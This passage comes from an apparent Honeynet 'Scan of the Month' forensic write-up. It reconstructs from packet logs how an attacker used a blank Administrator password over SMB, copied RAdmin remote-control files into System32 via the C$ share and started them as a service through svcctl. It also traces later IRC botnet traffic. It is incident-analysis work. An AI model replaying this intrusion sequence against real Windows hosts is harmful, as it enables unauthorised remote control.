1369 322254.177030 210.22.204.101 -> 172.16.134.191 SMB Session Setup AndX Request
1370 322254.181613 172.16.134.191 -> 210.22.204.101 SMB Session Setup AndX Response

Connect to the IPC$ resource. This is necessary to create named pipes used for DCERPC (Remote Procedure Calls over SMB). Some named pipes, such as NetLogon, work with NULL sessions (user name and password of NULL used to connect to IPC$), while others like WinReg and SvcCtl require authentication.

1371 322254.418561 210.22.204.101 -> 172.16.134.191 SMB Tree Connect AndX Request, Path: \\172.16.134.191\IPC$
1372 322254.420719 172.16.134.191 -> 210.22.204.101 SMB Tree Connect AndX Response

svcctl is a "set of RPCs that allow a remote client to control an NT Server's Services - install/start/stop/pause etc."

1373 322254.655965 210.22.204.101 -> 172.16.134.191 SMB NT Create AndX Request, Path: \svcctl
1374 322254.661675 172.16.134.191 -> 210.22.204.101 SMB NT Create AndX Response, FID: 0x400c

1385 322256.119668 210.22.204.101 -> 172.16.134.191 SMB Session Setup AndX Request
1386 322256.123709 172.16.134.191 -> 210.22.204.101 SMB Session Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
1387 322256.349702 210.22.204.101 -> 172.16.134.191 SMB Session Setup AndX Request
1388 322256.354974 172.16.134.191 -> 210.22.204.101 SMB Session Setup AndX Response
1390 322256.598010 210.22.204.101 -> 172.16.134.191 SMB Tree Connect AndX Request, Path: \\172.16.134.191\IPC$
1391 322256.599434 172.16.134.191 -> 210.22.204.101 SMB Tree Connect AndX Response
1392 322256.828051 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request GET_DFS_REFERRAL, File: \172.16.134.191\C$
1393 322256.835362 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response GET_DFS_REFERRAL, Error: STATUS_NO_SUCH_DEVICE

Mount the C$ share. Note that this (also ADMIN$) requires authentication as Administrator.

1394 322257.058080 210.22.204.101 -> 172.16.134.191 SMB Tree Connect AndX Request, Path: \\172.16.134.191\C$
1395 322257.061528 172.16.134.191 -> 210.22.204.101 SMB Tree Connect AndX Response

Copy 3 files r_server.exe, raddrv.dll, admdll.dll files over to the honeypot's System32 directory.

1396 322257.318799 210.22.204.101 -> 172.16.134.191 SMB NT Create AndX Request, Path: \WINNT\System32\r_server.exe
1397 322257.341355 172.16.134.191 -> 210.22.204.101 SMB NT Create AndX Response, FID: 0x400d
1398 322257.570116 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400d
1399 322257.586294 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1400 322257.841112 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400d
1457 322258.624133 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400d
1458 322258.984524 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400d
1519 322259.727319 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400d
1520 322259.961613 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400d
1586 322261.256821 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400d
1587 322261.507060 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400d
1644 322262.982361 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400d
1645 322263.214944 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400d
1646 322263.218008 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1647 322263.454360 210.22.204.101 -> 172.16.134.191 SMB Close Request, FID: 0x400d
1648 322263.456632 172.16.134.191 -> 210.22.204.101 SMB Close Response
1649 322263.704823 210.22.204.101 -> 172.16.134.191 SMB NT Create AndX Request, Path: \WINNT\System32\raddrv.dll
1650 322263.717055 172.16.134.191 -> 210.22.204.101 SMB NT Create AndX Response, FID: 0x400e
1651 322263.981895 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400e
1652 322263.981897 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1653 322264.247250 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400e
1683 322264.744173 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400e
1684 322264.983000 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400e
1685 322264.995002 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1686 322265.322802 210.22.204.101 -> 172.16.134.191 SMB Close Request, FID: 0x400e
1687 322265.323902 172.16.134.191 -> 210.22.204.101 SMB Close Response
1688 322265.566763 210.22.204.101 -> 172.16.134.191 SMB NT Create AndX Request, Path: \WINNT\System32\admdll.dll
1689 322265.571724 172.16.134.191 -> 210.22.204.101 SMB NT Create AndX Response, FID: 0x400f
1690 322265.816623 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400f
1691 322265.827399 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1696 322266.119599 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400f
1761 322268.446845 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400f
1762 322268.711701 210.22.204.101 -> 172.16.134.191 SMB Write AndX Request, FID: 0x400f
1791 322269.441156 172.16.134.191 -> 210.22.204.101 SMB Write AndX Response, FID: 0x400f
1792 322269.666568 210.22.204.101 -> 172.16.134.191 SMB Transaction2 Request SET_FILE_INFORMATION, FID: 0x400f
1793 322269.669938 172.16.134.191 -> 210.22.204.101 SMB Transaction2 Response SET_FILE_INFORMATION
1794 322269.892010 210.22.204.101 -> 172.16.134.191 SMB Close Request, FID: 0x400f
1795 322269.892012 172.16.134.191 -> 210.22.204.101 SMB Close Response
1798 322270.304761 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect Request
1799 322270.343551 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect Response
1816 322273.636546 210.22.204.101 -> 172.16.134.191 SMB Close Request, FID: 0x400c
1817 322273.638414 172.16.134.191 -> 210.22.204.101 SMB Close Response
1818 322273.936846 210.22.204.101 -> 172.16.134.191 SMB Logoff AndX Request
1819 322273.939996 172.16.134.191 -> 210.22.204.101 SMB Logoff AndX Response
1820 322274.176910 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect Request
1821 322274.197356 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect Response
1966 322324.464316 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect Request
1967 322324.470698 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect Response
1968 322324.694987 210.22.204.101 -> 172.16.134.191 SMB Logoff AndX Request
1969 322324.707076 172.16.134.191 -> 210.22.204.101 SMB Logoff AndX Response
..

A search for the files r_server.exe, admdll.dll and raddrv.dll came up with [7] . These files constitute the RAdmin remote-control program for Windows operating systems. The page explains how to install the RAdmin software over a SMB mounted C drive and correlates perfectly with the session above. Fruthermore, the default monitor port of the software is TCP port 4899! This clearly means the attacker started this service after copying the files over this session; and that explains the suspicious creating of this open port during the above time window. Further, the software allows 128-bit data encryption on the session with port 4899 and allows password protection of the remote control.

To find where in this session the attacker starts the remote control software, we will need to look at the DCERPC calls. A little grepping with tethereal -V -x for "DCE RPC" and r_server, we get:

..
DCE RPC
    Version: 5
    Version (minor): 0
    Packet type: Request (0)
    Packet Flags: 0x03
        0... .... = Object: Not set
        .0.. .... = Maybe: Not set
        ..0. .... = Did Not Execute: Not set
        ...0 .... = Multiplex: Not set
        .... 0... = Reserved: Not set
        .... .0.. = Cancel Pending: Not set
        .... ..1. = Last Frag: Set
        .... ...1 = First Frag: Set
    Data Representation: 10000000
        Byte order: Little-endian (1)
        Character: ASCII (0)
        Floating-point: IEEE (0)
    Frag Length: 208
    Auth Length: 0
    Call ID: 6
    Alloc hint: 184
    Context ID: 0
    Opnum: 24
    Stub data (184 bytes)

0000  00 05 69 00 01 e2 00 e0 b6 05 ce 0a 08 00 45 00   ..i...........E.
0010  01 50 5f 75 40 00 6b 06 e7 8b d2 16 cc 65 ac 10   .P_u@.k......e..
0020  86 bf 0f 69 01 bd 71 4c d1 a6 8a fe 9c c7 50 18   ...i..qL......P.
0030  fa 5d 99 68 00 00 00 00 01 24 ff 53 4d 42 25 00   .].h.....$.SMB%.
0040  00 00 00 18 07 c8 00 00 00 00 00 00 00 00 00 00   ................
0050  00 00 06 08 5c 02 01 10 00 09 10 00 00 d0 00 00   ....\...........
0060  00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 54   ...............T
0070  00 d0 00 54 00 02 00 26 00 0c 40 e1 00 00 5c 00   ...T...&..@...\.
0080  50 00 49 00 50 00 45 00 5c 00 00 00 ff 00 05 00   P.I.P.E.\.......
0090  00 03 10 00 00 00 d0 00 00 00 06 00 00 00 b8 00   ................
00a0  00 00 00 00 18 00 00 00 00 00 b0 b0 5e 65 ae 4e   ............^e.N
00b0  d7 11 b3 9d 00 05 69 00 01 56 06 00 00 00 00 00   ......i..V......
00c0  00 00 06 00 00 00 72 61 64 6d 6d 00 00 00 34 5b   ......radmm...4[
00d0  f6 00 06 00 00 00 00 00 00 00 06 00 00 00 72 61   ..............ra
00e0  64 6d 6d 00 6d 33 ff 01 0f 00 10 01 00 00 02 00   dmm.m3..........
00f0  00 00 01 00 00 00 28 00 00 00 00 00 00 00 28 00   ......(.......(.
0100  00 00 43 3a 5c 57 49 4e 4e 54 5c 53 79 73 74 65   ..C:\WINNT\Syste
0110  6d 33 32 5c 72 5f 73 65 72 76 65 72 2e 65 78 65   m32\r_server.exe
0120  20 2f 73 65 72 76 69 63 65 00 00 00 00 00 00 00    /service.......
0130  00 00 00 00 00 00 00 00 00 00 c0 bd fe 00 0c 00   ................
0140  00 00 00 00 00 00 0c 00 00 00 4c 6f 63 61 6c 53   ..........LocalS
0150  79 73 74 65 6d 00 00 00 00 00 00 00 00 00         ystem.........
..

Else, with tcpdump and strings this time:

$ tcpdump -n -r src_dump/sotm27 -w - tcp and src host 210.22.204.101 and dst port 445 | strings | grep r_server
r_server2
C:\WINNT\System32\r_server.exe /service
$


This conclusively proves that the attacker did exploit the NULL password vulnerability, install a remote-control software on it, and start that as a service. Since the session on port 4899 is 128-bit encrypted, we can't see the exchange of commands/data with tcpdump/ethereal. It straightward to control the honeypot now to connect to any external server including the IRC botnet. This concludes lead #1 and lead #5.

Analysing lead #2:

This lead was due to the outbound connections seen from the honeynet to TCP port 80 on several web servers. After a quick manual analysis of these sessions (specifically looking for the outbound GET/POST requests), it strongly indicated a legitimate set of HTTP sessions by the honeypot's local user(s) to browse and download forensics utilities from miscelleneous related web sites. Let's mark this lead #2 as closed.

Analysing lead #3:

This lead was due to the outbound connections seen from the honeypot to TCP port 6667 on some external servers (potentially IRC servers). Each of these was analysed as part of answer to beginner question Q 7. Clearly, those sessions were indeed the honeypot attempting to establish an IRC session with an external IRC server. The attacker(s) was successful in joining the honeynet to the IRC channel "x......x' through his/her session with the IRC server 209.196.44.172 . We also confirmed from tcpdump/tethereal that these attempts took place after the compromise analyzed in lead #1, indicating that the attacker/source from lead #1 could be the operator of the IRC botnet channel.

Analysing lead #4:

This lead was due to the outbound connection attempts seen from the honeypot to TCP port 31337 of some external IP address (199.107.7.2) . Although these TCP connections were never responded to, meaning that the external host was not listening on that port, the fact that the port number is 31337, which in hacker-culture/lingo is used to mean ELEET (mirrored), strongly implies that the system was compromised before this outbound connection. Again, this happended after the compromised analyzed in lead #1, and the attacker from lead #1 could very well be responsible for these (failed) connection attempts. No new information is gained from this lead.

Summarizing, we find that the source IP 210.22.204.101 launched several malicious sessions with the honeypot, most noteably a series of SMB sessions. From the analysis in lead #1, we conclude that he/she had guessed/bruteforced the Administrator password as NULL and used that to login into the MS DCE/RPC-SMB server on TCP port 445. The attacker also succeeded in connecting to the IPC$ resource which allowed him/her to use the svcctl service remotely. After installing and starting the RAdmin remote control program on the honeypot, the attacker had full control of the latter. Even if the RAdmin program was terminated after this point of time, the honeypot system can not be trusted to be secure since the attacker could have installed scheduled/stealth services that would easy access later. We think this attacker has a good chance of being the operator of the IRC botnet to which the honeypot connected later.

We would like to rate our skill as beginner. The intermediate questions look interesting. We will only briefly comment on those. Please do not consider these as complete analyses, but just quick remarks/comments. In the above analysis, we used strong indicators like suspicious open ports, outbound connections from the honeypot etc to generate leads #1-#5. This lead to the analysis of the compromise (from lead #1). One could always bruteforce each and every session in the packet log, but that may not be realistic in practice. We are interested in learning any additional heuristics/rules-of-thumb other SOTM-contributors provide that would automate such an intrusive-state marking process for the several sessions in the packet log.

Intermediate Questions:

1. What IP addresses were used in attacking the honeypot?
A. All source IPs initiating communication with the honeypot should be considered suspect. Honeypots, by definition, do not provided any services to legitimate regular remote users. Any inbound connection to the honeypot should be considered as a trespass attempt to begin with. There were about 77 source IPs that had (successful/failed) sessions with the honeypot. Theoretically, one could bruteforce and manually inspect each of these to determine whether they were malicious or legit. Practically speaking however, this may not be possible. We would mark all source IPs as attackers.

2. What vulnerabilities were they attempting to exploit?
A. Again, without strong hunches/heuristics, we would end up pretty much manually inspecting each session for answering this question. We did however find that most attacking sessions could be classified as some combination of : Port scanning, SMB sessions (NULL sessions with IPC$, mounting C$/Admin$, creating files, DCERPC to run services etc), attacks on MS IIS web server (NULL.ida attack described in lead #1, "../" & cmd.exe Nimda style attacks to run remote command prompts/shells, information gathering (again port scanning, banner grabbing, SMB sessions etc) and so on.

3. Which attacks were successful?
A. We have provided an analysis on one successful compromise with a SMB/DCERPC session from source IP 210.22.204.101. We also proved that the web NULL.ida based attacks against MS-IIS from the same IP were unsuccessful. There could be other attackers over the other SMB/Web/Other sessions which were successful as well.

Thanks for a very interesting SOTM challenge!

References:
 
1. Original IRC RFC, http://www.faqs.org/rfcs/rfc1459.html

2. Gallery of botnet-activity screen-captures, http://lockdowncorp.com/bots/gallery.html

3. IRC servers' list, http://www.irchelp.org/irchelp/networks/servers/index.html

4. EEye's MS IIS Indexing Service Vulnerability Advisory, http://www.eeye.com/html/Research/Advisories/AD20010618.html

5. RST or FIN-ACK on Application Crash Discussion #1, http://groups.google.com/groups?threadm=3B23A32C.8B2A788%40ix.netcom.com

6. RST or FIN-ACK on Application Crash Discussion #2, http://marc.theaimsgroup.com/?t=102754968200004&r=1&w=2

7. Famatech's Remote Administrator (RAdmin) Software, http://www.radmin.com/solutions/enterprise/push.html